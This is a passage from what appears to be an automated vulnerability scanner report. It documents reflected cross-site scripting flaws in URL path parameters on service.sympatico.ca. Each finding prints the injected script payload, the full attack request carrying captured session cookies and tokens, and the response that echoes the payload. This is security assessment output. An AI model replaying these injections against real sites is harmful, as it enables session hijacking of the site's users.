%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:05:57 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
ame="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/glossaryDefinition.js82ea2"><script>alert(1)</script>82849081de6" />
...[SNIP]...

2.265. https://service.sympatico.ca/js/jquery-ui.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/jquery-ui.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1cc64"><script>alert(1)</script>640e762a318 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js1cc64"><script>alert(1)</script>640e762a318/jquery-ui.js HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:49 GMT
Connection: close
Set-Cookie: SMSESSION=niV3brlU9hp5KuFWXe7jegrR2+cfjjz/RCEY3bp7O/RfTte6yxuaEVCK9pXQxJEzsjykyuyag6UkMbFINxyuSkH5t/zYm1PRXVf7yBGmqcvg4Rv7LLwv6SKebaAhgq/o41WHRxW5UUaNbuDmMb4v8NVkLhMBCtANvMfcXWMPIgBOOiP4WWO3Ln4A3lRxl3URmGlghHlXcvTb5IVV9FEk0fnjdMy61rrJWMiAIV4P+Q/EpYveMKEHKAoxGC1hlxS0tPFlv3DC4FQRm1wKzUb+dZaTlpXSXrsIeynwF2oJ9J6F6nxMvgH7hA==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:49 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:49 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:49 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:49 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:49 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:49 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:49 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:49 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:49 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:49 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js1cc64"><script>alert(1)</script>640e762a318/jquery-ui.js" />
...[SNIP]...

2.266. https://service.sympatico.ca/js/jquery-ui.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/jquery-ui.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4f920"><script>alert(1)</script>9866810bb14 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery-ui.js4f920"><script>alert(1)</script>9866810bb14 HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:52 GMT
Connection: close
Set-Cookie: SMSESSION=F7Gg8fM/cKH+JBaaqXf2V//4psUiVEEUoKIg6OAC5yQ/Of4Ne6kBM8NEaku5hn+luhdItvvA3RwlRmrmRMzdh8yXRLOTjVQ3Pzsx38bWc1a8+SCQXe2ZBmmzrjsDjulQRqTKrnA0GFbjCs0AO13FyBLddZxM8HBuBh0p3JRVOBpbJb98eQKTvjYVtv1FqC6FnkWV++OlGp4UnN5re/TUc6fpm3+0jUGoqUdJZhn/INh1+ikNLzVxJeh7Ms7Qht/fgl/iEpRFx2oLnyAJdCBSPoGaepuLP0YaE1W0W6IeMlfILuctOTZABQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:53 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:53 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:53 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:53 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:53 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:53 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:53 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:53 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:53 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:53 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/jquery-ui.js4f920"><script>alert(1)</script>9866810bb14" />
...[SNIP]...

2.267. https://service.sympatico.ca/js/jquery.autocomplete.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/jquery.autocomplete.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1e6b4"><script>alert(1)</script>0ba268edd5c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js1e6b4"><script>alert(1)</script>0ba268edd5c/jquery.autocomplete.js HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:05:59 GMT
Connection: close
Set-Cookie: SMSESSION=EqEkAB3kI+hgr00hXkm6flSObptTSHQ8V+qlOb/9kaRTjRHt0GnlL6TWBd8iuihhnaaY2bWJS60KM8Q2yMCu2GujE2gzgq2ybV0x17jyX/b1ravHA8SwPTMRBeRLy/M/O0zoSqHGQcoqB7QFUmJ9w08kiDk2VRHzaQouqphAHwTtL6MSv9XF/Y06wP6Lxpfzo9nzzzR6eFlCKE6hUfevWmhrGxojYayvk4kRa8MqvENAZErnBBzecLlSgrGzC5hS9y9ig6J6oOP8Uskyi8tlZ2iEiRn3aMoljLscGKoAHxpVpd0O7Ne7mw==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:00 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:00 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:00 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:00 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:00 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:00 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:00 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:00 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:00 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
